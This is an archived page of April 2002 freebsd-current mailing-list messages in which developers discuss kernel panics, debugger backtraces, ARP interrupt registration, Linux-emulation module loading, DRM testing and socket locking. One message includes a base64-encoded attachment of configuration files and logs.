panic on current boot

[mika ruohotie]

apologies for posting this for the second time, but i think the
previous subject lead most of the people to miss/skip this.

i get below after installation from a floppy, flopy boots ok,
the first real boot fails each time, with any current version i've
tested from devel snapshot to apr 22nd. ofcourse i didnt test all
snapshots between those dates, and i didnt test any previous versions.

if i need to do something further to help with this, let me know,
the machine's sitting in this state for now.

panic: bad ivar read request (4)

Debugger("panic")
Stopped at  Debugger+0x40:  xorl%eax,%eax
db> trace
Debugger(c03c241c) at Debugger+0x40
panic(c057a399,4,d7bdf070,ce4e0c00,d7c2ce00) at panic+0x70
acpi_read_ivar(ce4e0c00,d7c2bc80,4,c05aebb8) at acpi_read_ivar+0x9b
ata_pci_match(d7c2ce00) at ata_pci_match+0x918
ata_pci_probe(d7c2ce00,d7c2ce00,d7c2e780,d7c2ce00,0) at ata_pci_probe+0xd
device_probe_child(d7c2e780,d7c2ce00,d7c2ce00,d7c2bc80,d7c2e780) at 
device_probe_child+0xca
device_probe_and_attach(d7c2ce00) at device_peobe_and_attach+0x41
bus_generic_attach(d7c2e780,d7c2e780,d6928280,ce4e0c00,1) at bus_generic_attach+0x16
device_probe_and_attach(d7c2e780) at device_probe_and_attach+0x9a
bus_generic_attach(d7c2bc80,d7bd5090,ce4e0c00,d7c2bc80,c05aec90) at 
bus_generic_attach+0x16
acpi_pcib_attach(d7c2bc80,d7c2bc80,ce4e0c00,ce4e0c00,0) at acpi_pcib_attach+0x1d7
device_probe_and_attach(d7c2bc80) at device_probe_and_attach+0x9a
bus_generic_attach(ce4e0c00,ce4e0ba0,ce4e0b80,ce4b23e0,c05aecf8) at 
bus_generic_attach+0x16


mickey

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: DRM in the sys/ tree: looking for testers

[moto kawasaki]

Thank you very much,  Mr. Eric Anholt,

I have been testing your code on my PC, and found that kernel cannot
initialize agpgart device so far.

Environment:
Dell Latitude C400 (w/ Intel 82830 aka I830MG)
FreeBSD 4.5 STABLE (last cvsuped around 2002/Apr/24)
XFree86 4.2.0 (using /usr/ports/x11/XFree86-4/, cvsuped on the same day)
sysdrm-2002-04-21-tcldrm.tar.gz
sysdrm-2002-04-20-tclmodules.tar.gz
sysdrm-2002-04-20-tclstableconf.diff
  (following http://gladstone.uoregon.edu/~eanholt/dri/install.html)

Also, please find attached several configuration files and logs.

I myself am not an expert of neither FreeBSD kernel nor XFree86,
but I am eager to become a test monkey for saving my life :-)


Thank you very much.




Yours,


moto kawasaki <[EMAIL PROTECTED]>


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
uOBUzlUkZV

Re: Minor things: swi_net: unregistered isr number

[Matthew N. Dodd]

On Thu, 25 Apr 2002, Peter Wemm wrote:
> This is well known.  If we recieve an ARP frame before we sent one, then
> we print this.  eg: a broadcast ARP packet will trigger it.  dhclient
> etc use bpf etc so ARP isn't initialized at this point.

We could just put this block of code from arp_rtrequest() into arp_init().

LIST_INIT(&llinfo_arp);
timeout(arptimer, (caddr_t)0, hz);
register_netisr(NETISR_ARP, arpintr);

I'm not sure why it should to be in arp_rtrequest() in the first place.

-- 
| Matthew N. Dodd  | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD  |
| [EMAIL PROTECTED] |   2 x '84 Volvo 245DL| ix86,sparc,pmax |
| http://www.jurai.net/~winter |  For Great Justice!  | ISO8802.5 4ever |


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Minor things: swi_net: unregistered isr number

[Terry Lambert]

John Baldwin wrote:
> On 25-Apr-2002 Jan Stocker wrote:
> > My -current system gives me a
> >
> > swi_net: unregistered isr number: 18.
> >
> > too. I cant find any reply to this old subject. May anyone know where it
> > comes from?
> 
> It seems to trigger whenever there is traffic while the IP is 0.0.0.0,
> even for non-DHCP stuff.  I'm not sure what is causing it.

Protocol 18 is "ARP".

The message only happens when the network code is up, but
before the ARP protocol handler is registered.

-- Terry

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

free: address 0x3ce000(0x3ce000) has not been allocated.

[Robert Watson]

This from the trustedbsd_mac branch -- malloc is largely untouched (except
for a patch I sent to Jeff from Brian Feldman that re-introduces memory
trashing on free), and specfs is untouched, so probably also applies to
recent -CURRENT.  This could well be the malloc debugging panic some
others have referred to, but it's the first time I've bumped into it, so
figured I'd mention it.  I'm in the process of integ'ing the branch to see
if that cleans things up some.

Robert N M Watson FreeBSD Core Team, TrustedBSD Project
[EMAIL PROTECTED]  NAI Labs, Safeport Network Services

n/dev/md0c: 4096 isectors in 1 cylcinders of 1 trac:ks, 4096 sectors 
free: address 0x3ce000(0x3ce000) has not been allocated.

cpuid = 1; lapic.id = 0100
Debugger("panic")
Stopped at  Debugger+0x41:  xorl%eax,%eax
db> trace
Debugger(c03dfcfa) at Debugger+0x41
panic(c03ddee0,3ce000,3ce000,1,c8eed1c1) at panic+0xd8
free(3ce000,c04416c0,1,c8eed1c1,c93f5a08) at free+0x55
free_ds_label(c8eed1c1,1) at free_ds_label+0x21
dsgone(c93c64d8) at dsgone+0x1b
dsopen(c93a2100,2000,0,c93c64d8,c93c64dc) at dsopen+0x71
diskopen(c93a2100,3,2000,c93bc100,c93f5ae0) at diskopen+0xc4
spec_open(c93f5ae0,c93f5b04,c033b7ce,c93f5ae0,c045ee80) at spec_open+0x12b
spec_vnoperate(c93f5ae0,c045ee80,c8f2f690,0,c3f75a00) at
spec_vnoperate+0x15
ffs_mountfs(c8f2f690,c93cea00,c93bc100,c045ede0,c045ee80) at
ffs_mountfs+0x1aa
ffs_mount(c93cea00,c93f7580,bfbff1a4,c93f5c18,c93bc100) at ffs_mount+0x5f6
vfs_mount(c93bc100,c8f33020,c93f7580,0,bfbff1a4) at vfs_mount+0x6e6
mount(c93bc100,c93f5d20,0,0,0) at mount+0x6a
syscall(2f,2f,2f,0,0) at syscall+0x223
syscall_with_err_pushed() at syscall_with_err_pushed+0x1b
--- syscall (21, FreeBSD ELF, mount), eip = 0x804bcef, esp = 0xbfbff148,
ebp = 0xbfbff214 ---

Remote debugging using /dev/cuaa0
Debugger (msg=0xc03dfcfa "panic") at machine/atomic.h:227
227 ATOMIC_STORE_LOAD(int,  "cmpxchgl %0,%1",  "xchgl %1,%0")
(kgdb) up
#1  0xc02538d8 in panic (
fmt=0xc03ddee0 "free: address %p(%p) has not been allocated.\n")
at ../../../kern/kern_shutdown.c:477
477 Debugger ("panic");
(kgdb) up
#2  0xc024abc5 in free (addr=0x3ce000, type=0xc04416c0)
at ../../../kern/kern_malloc.c:238
(kgdb) up
#3  0xc02639c1 in free_ds_label (ssp=0xc8eed1c1, slice=1)
at ../../../kern/subr_diskslice.c:858
858 free(lp, M_DEVBUF);
(kgdb) list
853
854 sp = &ssp->dss_slices[slice];
855 lp = sp->ds_label;
856 if (lp == NULL)
857 return;
858 free(lp, M_DEVBUF);
859 set_ds_label(ssp, slice, (struct disklabel *)NULL);
860 }
861
862
(kgdb) inspect ssp
$2 = (struct diskslices *) 0xc8eed1c1
(kgdb) inspect slice
$3 = 1
(kgdb) inspect *ssp
$4 = {dss_cdevsw = 0xdeadc0de, dss_first_bsd_slice = 0, dss_nslices = 2, 
  dss_oflags = 0, dss_secmult = 1, dss_secshift = 0, dss_secsize = 512, 
  dss_slices = {{ds_offset = 0, ds_size = 4096, ds_type = 0, ds_label =
0x0, 
  ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0, 
  ds_size = 4096, ds_type = 0, ds_label = 0x3ce000, 
  ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset =
117440512, 
  ds_size = 0, ds_type = 12629504, ds_label = 0xc0b601, 
  ds_openmask = 2 '\002', ds_wlabel = 182 '¶'}, {ds_offset = 12629507, 
  ds_size = 12629508, ds_type = 12629509, ds_label = 0xc0b609, 
  ds_openmask = 7 '\a', ds_wlabel = 182 '¶'}, {ds_offset = 12629512, 
  ds_size = 12629513, ds_type = 12629514, ds_label = 0xc0b60b, 
  ds_openmask = 12 '\f', ds_wlabel = 182 '¶'}, {ds_offset = 12629517, 
  ds_size = 12629518, ds_type = -1597983217, ds_label = 0xc8ef6b, 
  ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0, 
  ds_size = 3288334336, ds_type = 13163892, ds_label = 0x0, 
  ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0, 
  ds_size = 0, ds_type = 0, ds_label = 0x0, ds_openmask = 0 '\000', 
  ds_wlabel = 0 '\000'}, {ds_offset = 0, ds_size = 0, ds_type =
8388608, 
  ds_label = 0x0, ds_openmask = 241 'ñ', ds_wlabel = 181 'µ'}, {
  ds_offset = 12629489, ds_size = 12629490, ds_type = 12629491, 
  ds_label = 0xc0b5f4, ds_openmask = 245 'õ', ds_wlabel = 181 'µ'}, {
  ds_offset = 12629494, ds_size = 12629495, ds_type = 12629496, 
  ds_label = 0xc0b5f9, ds_openmask = 250 'ú', ds_wlabel = 181 'µ'}, {
  ds_offset = 12629499, ds_size = 12629500, ds_type = 12629501, 
  ds_label = 0xc0b5fe, ds_openmask = 255 'ÿ', ds_wlabel = 181 'µ'}, {
  ds_offset = 155668, ds_size = 0, ds_type = 0, ds_label = 0x0, 
  ds_openmask = 0 '\000', ds_wlabel = 0 '\000'}, {ds_offset = 0, 
  ds_size = 0, ds_type = 0, ds_label = 0x0, ds_openmask = 0 '\000', 
  ds_wlabel = 0 '\000'}, {ds_offset = 0, ds_size = 0, ds_type = 0, 
  ds_label = 0x1800, ds_openmask = 211 'Ó', ds_wlabel = 238 'î'},
{
  ds_offset = 805634303, ds_size = 13168339, ds_type = 0, ds_label =
0x0, 
  

RE: linux broken?

[Julian Elischer]

On Thu, 25 Apr 2002, John Baldwin wrote:

> 
> On 25-Apr-2002 Julian Elischer wrote:
> 
> kldload sysvipc.ko or compile the SYSV stuff into your kernel.
> Perhaps the linux kld needs to have a module dependency on
> the sysvipc modules?

there is no sysvipc module but this is what I tried..

jules# cd /boot/kernel
jules# ls sy*
sym.ko  syscall_gate.ko sysvmsg.ko  sysvsem.ko  sysvshm.ko
jules# kldload sysvmsg
jules# kldload sysvsem
jules# kldload sysvshm
jules# kldload linux
link_elf: symbol semop undefined
kldload: can't load linux: Exec format error
jules# 





> 
> > julian
> 
> -- 
> 
> John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
> "Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/
> 


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

RE: linux broken?

[Julian Elischer]

On Thu, 25 Apr 2002, John Baldwin wrote:
> 
> kldload sysvipc.ko or compile the SYSV stuff into your kernel.
> Perhaps the linux kld needs to have a module dependency on
> the sysvipc modules?

I did.. it make no difference.

> 
> > julian
> 
> -- 
> 
> John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
> "Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/
> 


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: nVidia nForce 420

[Frank Mayhar]

Maxim M. Kazachek wrote:
> Does nVidia nForce 420D chipset is supported by FreeBSD? I'm looking for
> motherboard upgrade and trying to choose chipset...
> I've booted my 2 week old FreeBSD on a Gigabyte 7ZXE motherboard... I
> don't like messages I saw... I'm thinked about Irongate+VIA686B
> soutbridge... But it seems that it have same problems... And looks that
> there are no true AMD chipset motherboard...

Check out the ASUS A7M266-D motherboard, or the Tyan Tiger MPX.  Look like
really nice motherboards, both of them (although I'm leaning toward the
Tyan).
-- 
Frank Mayhar [EMAIL PROTECTED] http://www.exit.com/
Exit Consulting http://www.gpsclock.com/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

nVidia nForce 420

[Maxim M. Kazachek]

Does nVidia nForce 420D chipset is supported by FreeBSD? I'm looking for
motherboard upgrade and trying to choose chipset...
I've booted my 2 week old FreeBSD on a Gigabyte 7ZXE motherboard... I
don't like messages I saw... I'm thinked about Irongate+VIA686B
soutbridge... But it seems that it have same problems... And looks that
there are no true AMD chipset motherboard...

   Sincerely, Maxim M. Kazachek
   mailto:[EMAIL PROTECTED]
   mailto:[EMAIL PROTECTED]



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Revision 1.88 of kern_linker.c breaks module loading for diskless

[Brian Somers]

> In message <[EMAIL PROTECTED]>, Harti Brandt write
> s:
> >the check for rootdev != NODEV introduced in rev 1.88 breaks loading of
> >kernel modules from an NFS mounted root in diskless configurations.
> >Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV.
> 
> Ah, that would explain a problem I saw recently on a netbooted box
> where kldload only worked with full module paths. Could `rootvnode'
> be checked for NULL instead?

Hi,

The intent is to discover whether there's a filesystem yet (vn_open() 
will die horribly otherwise).

My use of rootdev is (obviously) flawed.  AFAICT, either rootvp 
or rootvnode should be used, but I can't tell the difference between 
the two at a glance and am lacking development resources right now 
(my development box seems to enjoy dropping cores too frequently to 
build a kernel at the moment).

If somebody could test that rootvnode or rootvp are non-NULL after 
an NFS-mounted root is set up, I'd thankfully approve the quick 
fix... :*)

Cheers.

> Ian

-- 
Brian <[EMAIL PROTECTED]><[EMAIL PROTECTED]>
  http://www.freebsd-services.com/
Don't _EVER_ lose your sense of humour !  



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Minor things: swi_net: unregistered isr number

[Peter Wemm]

John Baldwin wrote:
> 
> On 25-Apr-2002 Jan Stocker wrote:
> > My -current system gives me a 
> > 
> > swi_net: unregistered isr number: 18.
> > 
> > too. I cant find any reply to this old subject. May anyone know where it
> > comes from?
> 
> It seems to trigger whenever there is traffic while the IP is 0.0.0.0,
> even for non-DHCP stuff.  I'm not sure what is causing it.

This is well known.   If we recieve an ARP frame before we sent one, then
we print this.  eg: a broadcast ARP packet will trigger it.  dhclient etc
use bpf etc so ARP isn't initialized at this point.

Cheers,
-Peter
--
Peter Wemm - [EMAIL PROTECTED]; [EMAIL PROTECTED]; [EMAIL PROTECTED]
"All of this is for nothing if we don't go to the stars" - JMS/B5


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Revision 1.88 of kern_linker.c breaks module loading for diskless

[Ian Dowse]

In message <[EMAIL PROTECTED]>, Harti Brandt write
s:
>the check for rootdev != NODEV introduced in rev 1.88 breaks loading of
>kernel modules from an NFS mounted root in diskless configurations.
>Dropping in gdb and printing rootdev shows -1 which is, I assume, NODEV.

Ah, that would explain a problem I saw recently on a netbooted box
where kldload only worked with full module paths. Could `rootvnode'
be checked for NULL instead?

Ian

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: panic at shutdown, ums related?

[Alexander Leidinger]

On 24 Apr, Terry Lambert wrote:

>> USB is pretty hosed. :-(
>> 
>> For a while, removing the mouse didn't get detected and you had to kill moused
>> manually.  Then the removal event happened.  A new moused would start but it
>> was impossible to kill -9 the old moused.  If you remove the mouse again, it
>> instantly panics the box.  I've not seen what is happening as I've always been
>> in X at the time. :-/

I don't have the need to remove the mouse.

> USB hates Mieces to pieces.  I've taken to using NetGear based KVM
> switches, which is not really an option if the problem is with a
> laptop and/or docking port (sorry), but might be an OK way to deal
> with peripheral sharing on a desktop, until USB gets fixed.

There's a fix for ums, joe want's to talk with the NetBSD developers
first.

I use this fix. The panic I see now is _new_, it's not the one I see if
I don't use the fix.

Bye,
Alexander.

-- 
It is easier to fix Unix than to live with NT.

http://www.Leidinger.net   Alexander @ Leidinger.net
  GPG fingerprint = C518 BC70 E67F 143F BE91  3365 79E2 9C60 B006 3FE7


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Problems installing -Current on Dell Power Edge 4100

[Glenn Gombert]

Hello,

 We are trying to convert a Dell Power Edge 4100 Server at work to a good
use (from running NT Server 4.0) to FreeBSD. After installing either
-current or 4.5, then rebooting the system does not try and boot at all
when hitting 'F1'. No error(s) or messages of any kind…it just does not
seem to boot at all. Has anyone experienced a similar problem when trying
to install FreeBSD on this platform?? Any info is appreciated….

Thanks,


Glenn Gombert
[EMAIL PROTECTED]


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Minor things: swi_net: unregistered isr number

[John Baldwin]

On 25-Apr-2002 Jan Stocker wrote:
> My -current system gives me a 
> 
> swi_net: unregistered isr number: 18.
> 
> too. I cant find any reply to this old subject. May anyone know where it
> comes from?

It seems to trigger whenever there is traffic while the IP is 0.0.0.0,
even for non-DHCP stuff.  I'm not sure what is causing it.

-- 

John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Minor things: swi_net: unregistered isr number

[Jan Stocker]

My -current system gives me a 

swi_net: unregistered isr number: 18.

too. I cant find any reply to this old subject. May anyone know where it
comes from?

Jan




To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Spin lock (?) problems with MUTEX_PROFILING

[John Baldwin]

On 25-Apr-2002 Dag-Erling Smorgrav wrote:
> John Baldwin <[EMAIL PROTECTED]> writes:
>> This means WITNESS is broken with MUTEX_PROFIING (I guess they were
>> never tested together without WITNESS_SKIPSPIN).
> 
> WITNESS makes my box about as useful as a heap of bricks, so no,
> MUTEX_PROFILING was never tested with WITNESS.

Since WITNESS makes sure you use locks properly, you should use it when
you are making changes to the locking subsystem.  Esp. if you are
messing with spin locks.  It may be slow but it's still usable for doing
a bootup.  Getting into single user mode with profiling on would have
highlighted this problem.

-- 

John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Locking down a socket, milestone 1

[Jeffrey Hsu]

In article <[EMAIL PROTECTED]> you write:
>I am now working on locking down a socket.  (I have heard that Jeffrey
>Hsu is also doing that, but I have never seen his patch.  Has anyone
>seen that?)

I have. :-)  I do coarse-grain locking at the inpcb and sockbuf level as
is done in BSD/OS.  This is a lot simpler than locking down individual
fields in struct socket.  Are you sure we need such fine-grain locking?

Jeffrey

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: 4 panics under 5.0 on ports cluster

[Kris Kennaway]

On Thu, Apr 25, 2002 at 02:06:51PM -0400, John Baldwin wrote:

> You have stale kernels.

Yes, as noted the cluster has been running for a few weeks with March
31 kernels.

I'll try again with WITNESS enabled next time I update them.

Kris



msg37704/pgp0.pgp
Description: PGP signature

Re: 4 panics under 5.0 on ports cluster

[John Baldwin]

On 25-Apr-2002 Kris Kennaway wrote:
> On Thu, Apr 25, 2002 at 01:10:50PM -0400, John Baldwin wrote:
>> 
>> On 25-Apr-2002 Kris Kennaway wrote:
>> > panic: sleeping thread owns a mutex
>> > Uptime: 8h52m59s
>> > (kgdb) bt
>> >#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
>> >#1  0xc0207cb0 in boot (howto=260) at
>> >#/local0/scratch/usr/src/sys/kern/kern_shutdown.c:338
>> >#2  0xc020814f in panic (fmt=0xc0367580 "sleeping thread owns a mutex")
>> > at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:648
>> >#3  0xc0200a35 in propagate_priority (td=0xcd23d400)
>> > at /local0/scratch/usr/src/sys/kern/kern_mutex.c:110
>> 
>> Can you go to this frame, then dump the contents of 'm' to find the
>> misbehaving
>> mutex?
> 
> $2 = {mtx_object = {lo_class = 0xc03b1fc0, lo_name = 0xc76785a0 "PCPU 16384",
> lo_flags = 4390912,
> lo_list = {stqe_next = 0x0}, lo_witness = 0x0}, mtx_lock = 3453968642,
> mtx_recurse = 0,
>   mtx_blocked = {tqh_first = 0xcd23d400, tqh_last = 0xcd23d428},
> mtx_contested = {le_next = 0x0,
> le_prev = 0xcddf6160}}

Ok, so uma is misbehaving it seems and sleeping while holding a lock.

>> WITNESS should have warned about this but I guess getting people to run
>> WITNESS is too much to ask.
> 
> WITNESS disables itself after about 30 seconds under load on the ports
> cluster..something about some resource becoming exhausted.  I tried
> increasing the number of whatever resource it was by a factor of 8,
> but it was still occurring after a longer time interval, so I gave up
> and just turned it off.

You have stale kernels.  This was fixed a couple of weeks ago with all the
mtx_init() changes.  If the kernels were up to date, there would be a lo_type
in struct lock_object above.  Try updating to newer kernels, turning WITNESS
and WITNESS_DDB on.  Then when uma misbehaves it will drop into ddb.

> Kris

-- 

John Baldwin <[EMAIL PROTECTED]>  <><  http://www.FreeBSD.org/~jhb/
"Power Users Use the Power to Serve!"  -  http://www.FreeBSD.org/

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Locking down a socket, milestone 1

[Jeffrey Hsu]

If you compare the two approaches, the BSD/OS approach is simpler
because it is coarse.  You're confusing finer grain locking with
better.

To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: 4 panics under 5.0 on ports cluster

[Kris Kennaway]

On Thu, Apr 25, 2002 at 01:10:50PM -0400, John Baldwin wrote:
> 
> On 25-Apr-2002 Kris Kennaway wrote:
> > panic: sleeping thread owns a mutex
> > Uptime: 8h52m59s
> > (kgdb) bt
> >#0  dumpsys () at /local0/scratch/usr/src/sys/kern/kern_shutdown.c:506
